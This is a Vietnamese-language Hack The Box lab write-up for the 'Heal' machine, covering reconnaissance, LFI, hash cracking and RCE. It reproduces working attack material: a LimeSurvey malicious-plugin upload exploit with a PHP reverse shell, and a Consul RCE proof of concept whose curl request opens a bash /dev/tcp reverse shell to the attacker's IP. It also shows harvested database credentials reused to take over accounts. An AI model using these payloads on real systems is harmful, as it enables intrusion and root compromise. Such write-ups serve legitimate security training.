Hackthebox - Heal
Reconnaissance and Scanning
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
| 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Thêm domain vào file hosts
10.10.11.46 heal.htb
Sử dụng các công cụ và các phương pháp thông thường
Enumeration and Gaining access
Vhosts, directories
Tìm directories
┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://heal.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/http_heal.htb/_25-02-19_11-41-32.txt
Target: http://heal.htb/
[11:41:32] Starting:
[11:41:35] 503 - 608B - /html.old
[11:41:35] 503 - 608B - /jsp.php
[11:41:35] 503 - 608B - /php
[11:41:35] 503 - 608B - /jsp.tar
[11:41:35] 503 - 608B - /html.tar
[11:41:36] 503 - 608B - /php.tar
[11:41:36] 503 - 608B - /aspx.tgz
[11:41:36] 503 - 608B - /jsp.tgz
[11:41:36] 503 - 608B - /php.txt
[11:41:36] 503 - 608B - /aspx.txt
[11:41:36] 503 - 608B - /jsp.txt
[11:41:36] 503 - 608B - /php.zip
[11:41:36] 503 - 608B - /aspx.zip
[11:41:36] 503 - 608B - /jsp.zip
[11:41:36] 503 - 608B - /+CSCOE+/session_password.html
[11:41:36] 503 - 608B - /%ff
Có vẻ như không thể tìm được directories bằng tool. Vì có domain nên tôi sẽ đi tìm vhost của nó
┌──(kali㉿kali)-[~/burpsuite_pro]
└─$ ffuf -u http://heal.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.heal.htb" -r
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://heal.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
demo [Status: 200, Size: 1672, Words: 330, Lines: 43, Duration: 66ms]
mysql [Status: 200, Size: 1672, Words: 330, Lines: 43, Duration: 165ms]
www [Status: 200, Size: 1672, Words: 330, Lines: 43, Duration: 261ms]
cpanel [Status: 200, Size: 1672, Words: 330, Lines: 43, Duration: 357ms]
Sử dụng ffuf
với một số tuỳ chọn:
-H
: Header của request, giống như request trong burpsuite. Vị trí của tham sốFUZZ
sẽ quyết định nơi công cụ khai thác (ở đây là tìm vhost)-r
: Follow redirect-fs
: Filter HTTP response size - Không in ra những kết quả có kích thước của response là 1672
┌──(kali㉿kali)-[~/burpsuite_pro]
└─$ ffuf -u http://heal.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.heal.htb" -r -fs 1672
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://heal.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1672
________________________________________________
[WARN] Caught keyboard interrupt (Ctrl-C)
Chờ khá lâu mà không có kết quả, tôi sẽ thử thêm 1 lần nữa nhưng với 1 dictionary khác
┌──(kali㉿kali)-[~/burpsuite_pro]
└─$ ffuf -u http://heal.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.heal.htb" -r -fs 1672
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://heal.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1672
________________________________________________
api [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 5198ms]
Thêm vhost và file host
10.10.11.46 heal.htb api.heal.htb
Thử tìm kiếm các thông tin về lỗ hổng của Rails version 7.1.4 hay ruby 3.3.5 nhưng không có gì, nên tôi sẽ quay lại với trang đầu tiên vì tôi chưa làm gì với nó.
Thử Signup để đăng ký tài khoản
Lướt qua các input trên trang web, khi chọn SURVEY
, tôi nhận ra có 1 url mới
Thêm vhost vào file host
10.10.11.46 heal.htb api.heal.htb take-survey.heal.htb
Truy cập thử domain, tôi lại có thêm 1 số dữ kiện
Exploit Limesurvey
Tôi có 1 opensource tên LimeSurvey, tìm lỗ hổng của opensource này, tôi tìm thấy Limesurvey-RCE
Phân tích 1 chút về lỗ hổng này. Script sẽ thực hiện khai thác RCE bằng cách đăng nhập vào hệ thống LimeSurvey, tải lên 1 plugin độc hại, cài đặt và kịch hoạt nó để mở 1 reverse shell.
Cụ thể, code sẽ cố gắng đăng nhập vào LimeSurvey để lấy CSRF token.
Sau khi đăng nhập thành công, truy cập vào trang quản lý plugin để lấy CSRF token thứ 2.
Upload_creds = {
"YII_CSRF_TOKEN": CSRF_token2,
"lid": "$lid",
"action": "templateupload"
}
file_upload = req.post(url+"/index.php/admin/pluginmanager?sa=upload", files={'the_file': filehandle}, data=Upload_creds)
Tạo payload để tải file lên
UploadPage = req.get(url+"/index.php/admin/pluginmanager?sa=uploadConfirm")
print("[+] Plugin Uploaded Successfully")
Lấy CSRF token thứ 3 từ trang cài đặt plugin và gửi yêu cầu POST để cài đặt plugin vừa tải lên.
InstallPage = req.get(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin")
response = InstallPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token3 = s.findAll('input')[0].get("value")
print(CSRF_token3)
Install_creds = {
"YII_CSRF_TOKEN": CSRF_token3,
"isUpdate": "false"
}
file_install = req.post(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin", data=Install_creds)
print("[+] Plugin Installed Successfully")
Lấy CSRF thứ 4 từ trang kích hoạt plugin và kích hoạt nó với pluginId=1.
ActivatePage = req.get(url+"/index.php/admin/pluginmanager?sa=activate")
response = ActivatePage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token4 = s.findAll('input')[0].get("value")
print(CSRF_token4)
Activate_creds = {
"YII_CSRF_TOKEN": CSRF_token4,
"pluginId": "1" # CHANGE THIS
}
file_activate = req.post(url+"/index.php/admin/pluginmanager?sa=activate", data=Activate_creds)
print("[+] Plugin Activated Successfully")
Lưu ý, cần thay đổi đường dẫn chứa file Y1LD1R1M.zip cho đúng thì mới có thể tải lên thành công.
filehandle = open("/root/limesurvey/plugin/Y1LD1R1M.zip", mode="rb") # CHANGE THIS
UploadPage = req.get(url+"/index.php/admin/pluginmanager/sa/index")
response = UploadPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token2 = s.findAll('input')[0].get("value")
print(CSRF_token2)
Thay đổi đường dẫn file đến file zip
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ pwd Y1LD1R1M.zip
/home/neo/htb/machines/heal/Limesurvey-RCE
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ /home/neo/htb/machines/heal/Limesurvey-RCE/Y1LD1R1M.zip
filehandle = open("/home/neo/htb/machines/heal/Limesurvey-RCE/Y1LD1R1M.zip", mode="rb") # CHANGE THIS
UploadPage = req.get(url+"/index.php/admin/pluginmanager/sa/index")
response = UploadPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token2 = s.findAll('input')[0].get("value")
print(CSRF_token2)
Thay đổi reverse shell thành IP của máy kali và port muốn lắng nghe
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ nano php-rev.php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.11'; // CHANGE THIS
$port = 9001; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
Zip lại file file php-rev.php
đã sửa đổi và config.xml
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ rm -r Y1LD1R1M.zip
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ zip Y1LD1R1M.zip config.xml php-rev.php
adding: config.xml (deflated 56%)
adding: php-rev.php (deflated 61%)
Chạy exploit với port 9001
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ python3 exploit.py http://take-survey.heal.htb admin password 9001
Không có kết quả. Có vẻ như username và password mặc định không có kết quả. Tôi sẽ quay trở lại heal.htb
vì còn 1 số phần chưa khai thác hết.
Tôi sẽ thử điền thông tin và export as pdf.
Bật Burpsuite để bắt request
Ở request OPTIONS tôi có path /download?filename=775f1583bfddb57d91dd.pdf
tôi nghĩ ngay đến có thể LFI ở đây. Gửi request này và request GET có chứa Authorization đến Repeater. Sau đó thay thế /resume
bằng path phía trên
Để ý ngoài user ralph đã biết từ trước thì tôi còn có thêm user ron.
Sau khi search gg cũng như hỏi mấy con AI về nói lưu trữ thông tin đăng nhập, database hay các file config của ruby on rails
thì tôi biết được các thông tin này thường nằm ở /config/database.yml
Tôi đã có được hash của user ralph. Sử dụng john
để crack nó
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ cat hash
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal/Limesurvey-RCE]
└─$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 20 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369 (?)
1g 0:00:00:05 DONE (2025-03-22 14:52) 0.1960g/s 105.8p/s 105.8c/s 105.8C/s aaliyah..miranda
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Đăng nhập vào Limesurvey theo đường dẫn trong file exploit.py
Thử upload thủ công plugin: Configuration -> Plugins -> Upload & install
Có 1 lưu ý mà lúc đầu tôi đã không nhận ra và không thể upload được plugin, đó là phiên bản trong config.xml
và phiên bản của Limesurvey không tương thích với nhau
Tôi phải chỉnh sửa và thêm version của phiên bản Limesurvey hiện tại vào config.xml
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>Y1LD1R1M</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>Y1LD1R1M</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>6.6.4</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : Y1LD1R1M]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
Sau đó thì xoá file zip cũ và thực hiện zip lại 1 lần nữa.
Quay trở lại phần install plugin phía trên. Sau khi install, kiểm tra lại để chắc chắn plugin đã install thành công
Bật listener với port đã cấu hình ở các bước trước (tôi đang dùng 9001) và mở php revershell thủ công theo path /upload/plugins/Y1LD1R1M/php-rev.php
trên trình duyệt.
┌──(neo㉿fs0c13ty)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.11.46] 38064
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
08:19:39 up 12:37, 0 users, load average: 0.02, 0.05, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Nghiên cứu về cây thư mục của Limesurvey trên github, tôi tìm thấy file chưa user:pass của db trong application/config/config.php
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
'session' => array (
'sessionName'=>'LS-ZNIDJBOXUNKXWTIP',
// Uncomment the following lines if you need table-based sessions.
// Note: Table-based sessions are currently not supported on MSSQL server.
// 'class' => 'application.core.web.DbHttpSession',
// 'connectionID' => 'db',
// 'sessionTableName' => '',
),
'urlManager' => array(
'urlFormat' => 'path',
'rules' => array(
// You can add your own rules here
),
'showScriptName' => true,
),
// If URLs generated while running on CLI are wrong, you need to set the baseUrl in the request component. For example:
//'request' => array(
// 'baseUrl' => '/limesurvey',
//),
),
Đăng nhập vào pgsql
┌──(neo㉿fs0c13ty)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.11.46] 35864
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
09:49:08 up 14:06, 0 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@heal:/$ psql -h localhost -p 5432 -U db_user -d survey
psql -h localhost -p 5432 -U db_user -d survey
Password for user db_user: AdmiDi0_pA$$w0rd
psql (14.15 (Ubuntu 14.15-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
survey=> SELECT * FROM lime_users;
uid | users_name | password | full_name | parent_id | lang | email | htmleditormode | templateeditormode | questionselectormode | one_time_pw | dateformat | last_login | created | modified | validation_key | validation_key_expiration | last_forgot_email_password | expires | user_status
-----+------------+--------------------------------------------------------------+---------------+-----------+------+----------------+----------------+--------------------+----------------------+-------------+------------+---------------------+----------------------------+----------------------------+----------------+---------------------------+----------------------------+---------+-------------
1 | ralph | $2y$10$qMS2Rbu5NXKCPI5i6rjQPexhhJk33kv3KNt4uNjJ5XEvV9hv.om/C | Administrator | 0 | en | ralph@heal.htb | default | default | default | | 1 | 2025-03-22 09:44:01 | 2024-09-27 10:37:34.356873 | 2025-03-22 09:44:01.945104 | | |
| | 1
Tuy nhiên vẫn chỉ là password của ralph như trên web. Vì đang có 1 pass ở đây, tôi sẽ thử với tất cả user mà tôi có thể thử.
SSH and User flag
www-data@heal:/$ su ralph
su ralph
Password: AdmiDi0_pA$$w0rd
su: Authentication failure
www-data@heal:/$ su ron
su ron
Password: AdmiDi0_pA$$w0rd
ron@heal:/$ id
id
uid=1001(ron) gid=1001(ron) groups=1001(ron)
ron@heal:/$
ron@heal:/$ cd
cd
ron@heal:~$ ls -la
ls -la
total 28
drwxr-x--- 3 ron ron 4096 Dec 9 15:13 .
drwxr-xr-x 4 root root 4096 Dec 9 12:53 ..
lrwxrwxrwx 1 root root 9 Dec 9 12:57 .bash_history -> /dev/null
-rw-r--r-- 1 ron ron 220 Dec 9 12:53 .bash_logout
-rw-r--r-- 1 ron ron 3771 Dec 9 12:53 .bashrc
drwx------ 2 ron ron 4096 Dec 9 15:13 .cache
-rw-r--r-- 1 ron ron 807 Dec 9 12:53 .profile
-rw-r----- 1 root ron 33 Mar 21 19:42 user.txt
Privilege escalation
Sau khi thử một số phương pháp mà tôi vẫn thường làm thì đều không có bất kỳ kết quả nào đáng kể. Vậy nên cách cuối cùng là tải lên linpeas.sh
và cho nó phân tích server này.
Để ý phần active ports tôi thấy còn khá nhiều port đang mở
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Tôi sẽ sử dụng port forward thông qua SSH để kiểm tra các port đang mở này. Và sau khi thử 1 lượt thì tôi tìm thấy port 8500
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal]
└─$ sshpass -p 'AdmiDi0_pA$$w0rd' ssh ron@10.10.11.46 -L 8500:127.0.0.1:8500
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Mar 23 03:42:54 PM UTC 2025
System load: 0.23
Usage of /: 81.4% of 7.71GB
Memory usage: 31%
Swap usage: 0%
Processes: 278
Users logged in: 1
IPv4 address for eth0: 10.10.11.46
IPv6 address for eth0: dead:beef::250:56ff:feb9:24aa
Expanded Security Maintenance for Applications is not enabled.
29 updates can be applied immediately.
18 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Mar 23 14:59:14 2025 from 10.10.14.25
ron@heal:~$
Vào web để kiểm tra
Để ý ở góc dưới bên trái tôi có Consul v1.19.2
. Thử tìm lỗ hổng của thằng này, tôi tìm thấy Hashicorp Consul v1.0 - RCE
Phân tích một chút về PoC này
# Exploit Title: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
# Date: 26/10/2022
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://www.consul.io/
# Description: Exploit for gain reverse shell on Remote Command Execution via API
# References: https://www.consul.io/api/agent/service.html
# Tested on: Ubuntu Server
# Software Link: https://github.com/hashicorp/consul
import requests, sys
if len(sys.argv) < 6:
print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>\n")
exit(1)
target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
headers = {"X-Consul-Token": f"{sys.argv[5]}"}
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}
try:
requests.put(target, headers=headers, json=json)
print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
except:
print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")
Tôi có thể biến PoC này thành file python và chạy. Tuy nhiên là tôi không có acl_token nên tôi sẽ sử dụng 1 cách thủ công: là gửi 1 request register thông qua curl
với nội dung chính là phần json của PoC trên.
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}
Trước tiên là phải bật 1 listener với port tự chọn, ở đây tôi chọn 9001
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
Gửi request bằng curl
, thay đổi IP là máy của tôi và port mong muốn - ở đây tôi đang dùng 9001
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal]
└─$ curl -X PUT -d '{"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.25/9001 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}' http://127.0.0.1:8500/v1/agent/service/register
Quay lại listener
┌──(neo㉿fs0c13ty)-[~/htb/machines/heal]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.11.46] 36370
bash: cannot set terminal process group (149665): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@heal:/# cd root
cd root
root@heal:~# ls -la
ls -la
total 52
drwx------ 7 root root 4096 Mar 21 19:42 .
drwxr-xr-x 19 root root 4096 Dec 8 13:57 ..
lrwxrwxrwx 1 root root 9 Nov 29 11:50 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwxr-xr-x 3 root root 4096 Dec 8 13:57 .bundle
drwxr-xr-x 3 root root 4096 Dec 8 13:57 .cache
-rwxr-xr-x 1 root root 658 Sep 27 12:16 cleanup-consul.sh
drwxr-xr-x 3 root root 4096 Dec 8 13:57 .config
-rwxr-xr-x 1 root root 863 Oct 7 03:23 consul-up.sh
drwxr-xr-x 3 root root 4096 Dec 8 13:57 .local
-rwxr-xr-x 1 root root 585 Dec 4 10:09 plugin_cleanup.sh
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Mar 21 19:42 root.txt
drwx------ 2 root root 4096 Dec 8 13:57 .ssh